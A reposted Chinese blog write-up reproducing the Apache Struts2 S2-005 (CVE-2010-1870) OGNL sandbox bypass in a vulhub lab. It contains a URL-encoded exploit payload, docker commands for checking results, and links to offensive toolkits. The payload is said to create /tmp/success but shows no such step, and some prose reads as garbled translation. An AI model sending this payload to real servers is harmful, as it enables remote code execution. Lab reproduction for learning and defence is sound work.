CVE-2010-1870 S2-005復現


0X00-引言


江南真是個好地方,充滿詩情畫意,常見於文人墨客的書詞中,每次見到都忍不住心神向往。想到煙雨就想到江南,江南風景美,人更美。

南朝四百八十寺,多少樓台煙雨中。

江南又夢煙雨,長河流入故里。

江南好,最好是紅衣。

0X01-環境搭建


靶機:CentOS Linux 7

攻擊機:windows server 2016 && Kail

環境:vulhub

項目地址:https://github.com/vulhub/vulhub

搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)

0X02-漏洞描述


參考吳翰清的《白帽子Web安全》一書

s2-0005漏洞的起源起源S2-003(版本:Struts 2.0.12),struts2執行http的每個參數名解析為OGNL語句(可理解為java代碼)。OGNL表達式通過#來訪問struts的對象,struts框架通過過濾#字符防護安全問題,但通過unicode編碼(\u0023)或8進制(\43)即繞過了安全限制,對於S2-003漏洞,官方通過增加安全限制配置(禁止使用方法調用和類方法等)來文檔,但是安全配置被再次導致了漏洞,攻擊者可以利用OGNL表達式將這2個選項打開,S2-003的按鈕把自己打開一個鎖,但是把鎖鑰匙給插在了鎖頭上

XWork利用巴西GET參數的鍵和值OGNL表達式解析成Java語句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//會被轉化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

觸發漏洞利用了這個點,再配合OGNL的沙盒-繞過方法,組成了S2003。官方對003的修復方法是增加了安全模式(沙),S2-005在OGNL表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:

  • S2-003 使用\u0023繞過2對#的防御
  • S2-003后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼

影響版本:2.0.0 - 2.1.8.1

0X03-漏洞復現


01-創建tmp/success

payload:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)

image-20211130203723982

查看容器內tmp目錄

docker ps #查看容器ID
docker exec -it ID /bin/bash #進入容器
ls /tmp  #查看容器內tmp目錄
exit  #退出容器

image-20211130204043122

至於構建其他payload,小生做不到啊🙃

0X04-工具檢測


工具地址:https://github.com/Liqunkit/LiqunKit_

此工具強得很,誰用誰知道,懂都懂

image-20211130204635381

image-20211130204731979

0X05-日志查看


docker ps  #查看容器ID
docker exec -it 910e341b0e88 /bin/bash #進入
cat localhost_access_log.2021-12-01.txt  #查看日志
exit #退出容器

image-20211130205310220

0X06-參考文章

大佬的百寶箱:https://github.com/k8gege/K8tools

S2-005 遠程代碼執行漏洞


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM